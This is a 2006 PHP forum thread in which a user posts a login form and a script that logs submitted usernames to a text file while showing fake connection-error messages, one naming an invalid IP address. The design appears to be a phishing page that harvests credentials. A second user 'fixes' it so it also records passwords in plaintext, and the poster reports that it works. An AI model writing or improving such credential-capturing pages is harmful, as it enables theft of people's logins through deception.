Page 1 of 1

Saving a form to a text file using php.

Posted: Wed Apr 19, 2006 7:51 am
by m0u53m4t
patrikG | Please use

Code: Select all

and

Code: Select all

tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


Ok, here's my ultra basic HTML form:

Code: Select all

<form action="connecttoserver.php?userid=$username&password" method="get">
<input type="text" name="username" size="24">
<input type="password" name="password" size="24">
<input type="submit">
and here's the PHP file that goes with it:

Code: Select all

<?php
  $filename = "logfile.txt";
  if (isset($_GET["username"]))
  {
    if (!$handle = fopen($filename, 'a'))
    {
      echo "Error while connecting to server";
      exit;
    }
    else
    {
      if (fwrite($handle, "\r\n" . $_GET["username"]) === FALSE)
      {
        echo "Error while connecting to server";
        exit;
      }
    }
    echo "Error while communicating with 288.288.077.256";
    fclose($handle);
    exit;
  }
  echo "Error while connecting to server";
  exit;
?>
But when you fill out the forms it cant save both text boxes. Any ideas? 8O


patrikG | Please use

Code: Select all

and

Code: Select all

tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]

Posted: Wed Apr 19, 2006 8:23 am
by R4000
Use syntax tags please!
Fixed it all up for you and made it into one page :)

Code: Select all

<?php
$filename = "logfile.txt";
if (isset($_GET["username"])){
 if (!$handle = fopen($filename, 'a')) {
  die ("Error while opening.");
 } else {
  if (fwrite($handle, "\r\n" . $_GET["username"]."\r\n" . $_GET["password"]) === FALSE){
   die("Error while writing.");
  }
 }
 echo "Added!";
 fclose($handle);
} else {
 echo "<form action=\"".$_SERVER['PHP_SELF']."\" method=\"GET\">\r\n";
 echo "<input type=\"text\" name=\"username\" size=\"24\" />\r\n";
 echo "<input type=\"password\" name=\"password\" size=\"24\" />\r\n";
 echo "<input type=\"submit\" value=\"Send!\" />\r\n";
 echo "</form>\r\n";
}
?>

Posted: Wed Apr 19, 2006 8:27 am
by m0u53m4t
Ill give it a try... (sorry about the tags, im new here)

Edit: It works! Thanks! What was wrong with it?

Posted: Wed Apr 19, 2006 8:33 am
by cj5
Are you trying to write the form information, or writing the actual HTML of the form? If you are trying to get the form information you will have to handle the checkbox information with some type of control structure. Otherwise, just push the HTML out to the text file via a print() or echo statement. You may need to add some parsing in there to avoid conflicting quotes, etc...

Posted: Wed Apr 19, 2006 9:02 am
by m0u53m4t
Its done now. R4000 fixed it!